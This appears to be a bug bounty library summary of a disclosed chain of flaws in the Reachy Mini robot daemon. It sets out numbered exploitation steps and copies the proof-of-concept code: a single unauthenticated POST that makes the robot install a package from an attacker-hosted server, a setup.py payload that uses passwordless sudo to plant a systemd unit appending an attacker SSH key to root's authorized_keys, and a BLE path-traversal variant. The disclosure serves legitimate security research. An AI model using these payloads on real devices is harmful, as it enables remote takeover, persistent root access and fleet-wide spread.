# bREACHYing the Perimeter: How One HTTP Request can Hijack your AI Robot

Unauthenticated Reachy Mini daemon endpoints let LAN or browser attackers pip-install a malicious sdist, gaining RCE as pollen and root via passwordless sudo.

- Payout: Research
- Severity: critical
- Program: Reachy Mini
- Found by (vendor credit): Yuval Moravchick | JFrog, Natan Nehorai | JFrog
- Write-up by: JFrog Security Research
- Disclosed: 2026-11-03
- CVE: CVE-2026-96455, CVE-2026-53605, CVE-2026-55419, CVE-2026-62661, CVE-2026-96456
- Write-up quality: 8/10
- Original: https://jfrog.com/blog/reachy-http-request-hijacks-ai-robot/
- Library page: https://bugbountylibrary.com/r/blog%3Ajfrog-com-blog-reachy-http-request-hijacks-ai-robot
- Tags: area:devices domain:iot domain:web impact:privesc impact:rce kind:research platform:threat-intel sev:critical tech:python technique:chained technique:source-review vuln:auth-bypass vuln:cors vuln:privilege-escalation vuln:rce

**Target:** FastAPI daemon on Raspberry Pi robot (port 8000) and BLE GATT command service
**Root cause:** Daemon binds 0.0.0.0:8000 with no auth and CORS allow_origins=["*"], and /api/apps/install passes attacker-controlled source_kind=local path or hf_space repo straight into `uv pip install`, executing setup.py. pollen holds passwordless sudo.
**Steps:**
1. Discover daemon via mDNS `_reachy-mini._tcp.local` or `curl http://reachy-mini.local:8000/api/daemon/hardware-id`
2. Host malicious sdist tarball (pyproject.toml + setup.py payload) on reachable HTTP server
3. `POST /api/apps/install` with `{"name":"reachy_mini_pwn","source_kind":"local","extra":{"path":"http://192.168.64.1:8888/reachy_mini_pwn-0.0.1.tar.gz"}}`
4. setup.py runs as pollen; write systemd unit via `sudo tee /etc/systemd/system/x.service` appending attacker pubkey to /root/.ssh/authorized_keys, then `sudo systemctl daemon-reload` and `enable --now`
5. Browser variant: malicious page cross-origin POSTs to `/api/apps/install-private-space` using operator's stored HF token, poll `/api/apps/job-status/<uuid>`
6. BLE chain: upload `pwn.sh` via `/api/media/sounds/upload`, race `CMD_` after any device sends `PIN_<code>` (global self.connected), send `CMD_/path/to/uploaded/pwn.sh` so os.path.join absolute path escapes commands/ and runs under sudo
**How found:** Audit of the daemon's FastAPI surface: noticed 0.0.0.0 bind despite --localhost-only flag, wildcard CORS, and no auth on state-changing endpoints; traced /api/apps/install source_kind handling into `uv pip install`, knowing pip executes setup.py from sdists; then reviewed sudoers and BLE command handler for os.path.join absolute-path quirk.
**Exploitation:** Single unauthenticated HTTP POST to the daemon installs an attacker sdist; pip executes setup.py as pollen, which uses inherited passwordless sudo to install a systemd unit granting persistent root SSH. Browser variant needs only a page visit while robot is on the network, using the operator's HF token to fetch an attacker Space. BLE variant needs proximity: upload script over HTTP, win PIN race, path-traverse CMD_ to execute it as root.
**Escalation:** RCE as pollen escalated to persistent root via passwordless sudo systemd unit; HF token theft enables supply-chain poisoning of published Spaces that other robots auto-update from; mDNS enables worm-style fleet propagation.
**Insight:** On embedded/IoT daemons, grep for package-manager invocations (`pip install`, `npm install`) reachable from HTTP handlers — any install endpoint is RCE by design; also check whether a 'localhost-only' flag actually reaches the server bind call rather than just display logic.

## Proof of concept (copied exactly from the original report)

**Unauthenticated app-install RCE HTTP request**

```
POST /api/apps/install HTTP/1.1
Host: reachy-mini.local:8000
Content-Type: application/json
 
{"name":"reachy_mini_pwn","source_kind":"local",
 "extra":{"path":"http://192.168.64.1:8888/reachy_mini_pwn-0.0.1.tar.gz"}}
```

**setup.py payload escalating to persistent root**

```
# Runs inside the attacker's setup.py, inheriting pollen's sudo privileges
import subprocess
 
unit = """\
[Unit]
Description=maintenance
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'echo "<attacker-pubkey>" >> /root/.ssh/authorized_keys'
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
"""
 
subprocess.run(["sudo", "tee", "/etc/systemd/system/x.service"],
 input=unit.encode(), check=True)
subprocess.run(["sudo", "systemctl", "daemon-reload"], check=True)
subprocess.run(["sudo", "systemctl", "enable", "--now", "x.service"], check=True)
```

**BLE path traversal CMD handler executing script as root**

```
script_name = command_str[4:].strip() + ".sh"
script_path = os.path.join("commands", script_name)
if os.path.isfile(script_path):
 result = subprocess.run(["sudo", script_path], ...)
```

